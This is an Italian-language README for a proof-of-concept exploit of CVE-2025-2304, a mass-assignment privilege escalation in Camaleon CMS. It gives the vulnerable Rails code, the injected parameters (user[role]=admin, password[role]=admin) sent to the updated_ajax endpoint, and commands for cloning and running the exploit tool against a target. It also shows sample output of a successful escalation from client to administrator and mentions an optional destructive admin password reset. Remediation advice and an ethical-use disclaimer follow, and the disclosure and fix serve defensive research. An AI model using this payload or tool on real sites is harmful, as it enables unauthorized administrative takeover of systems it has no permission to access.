
Proof-of-concept per CVE-2025-2304 — escalation di privilegi critica (CVSS 9.4) tramite mass-assignment in Camaleon CMS.
Un exploit Proof of Concept (PoC) per CVE-2025-2304, una vulnerabilità critica di mass assignment in Camaleon CMS che consente l'escalation dei privilegi da utenti con privilegi bassi ad amministratori.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 è una vulnerabilità critica di mass assignment in Camaleon CMS presente nel metodo updated_ajax del UsersController. La vulnerabilità deriva dall'uso del pericoloso metodo permit! in Rails, che consente il passaggio di tutti i parametri senza alcun filtro.
Questo PoC dimostra come un utente autenticato con privilegi bassi possa scalare al ruolo di amministratore iniettando parametri non autorizzati durante le operazioni di cambio password.
Punteggio CVSS: 9.4 (Critico)
Il codice vulnerabile utilizza params.require(:user).permit! che accetta tutti i parametri forniti dall'utente senza validazione:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
Un attaccante può iniettare parametri aggiuntivi come user[role]=admin insieme ai legittimi campi di cambio password, facendo sì che l'applicazione aggiorni il ruolo dell'utente ad amministratore.
Vettore d'attacco:
/admin/users/{id}/updated_ajaxuser[role]=admin--no-password-field per test più sicurigit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
Oppure installare manualmente:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target Target URL (e.g., http://target.com)
required arguments:
-u, --username Existing username for authentication
-p, --password User password
optional arguments:
-h, --help Show help message and exit
-v, --verbose Verbose output (show all requests)
--proxy PROXY HTTP proxy for traffic inspection (e.g., http://127.0.0.1:8080)
--no-password-field Test exploitation without password fields (safest)
--skip-admin-test Skip destructive admin password reset test
Test con le credenziali di un utente esistente preservando la password:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Test senza includere i campi password nel payload dello sfruttamento:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Instrada il traffico attraverso Burp Suite per l'ispezione manuale:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Abilita l'output dettagliato mostrando tutte le richieste e risposte:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Testa solo l'escalation dei privilegi, salta il reset della password dell'amministratore:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| Versione | Stato |
|---|---|
| < 2.9.1 | ❌ Vulnerabile |
| ≥ 2.9.1 | ✅ Corretta |
Nello specifico vulnerabili:
Aggiornare alla versione 2.9.1 o successiva
gem update camaleon_cms
Controllare gli account utente
/users/*/updated_ajaxImporre il reset delle password (se compromessi)
Pattern di codice sicuro:
Sostituire il pericoloso permit! con una whitelist esplicita:
# Before (VULNERABLE)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# After (SECURE)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
Misure di sicurezza aggiuntive:
Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.
Nota legale:
Uso etico:
d3vn0mi
Questo progetto è distribuito con licenza MIT - vedi il file LICENSE per i dettagli.
Contributi, segnalazioni di problemi e richieste di funzionalità sono benvenuti!
Sentiti libero di consultare la pagina delle issue.
Lascia una ⭐️ se questo progetto ti è stato utile!
Nota: Questo repository è a scopo di ricerca sulla sicurezza e didattico. Pratica sempre la responsible disclosure e ottieni la dovuta autorizzazione prima di testare.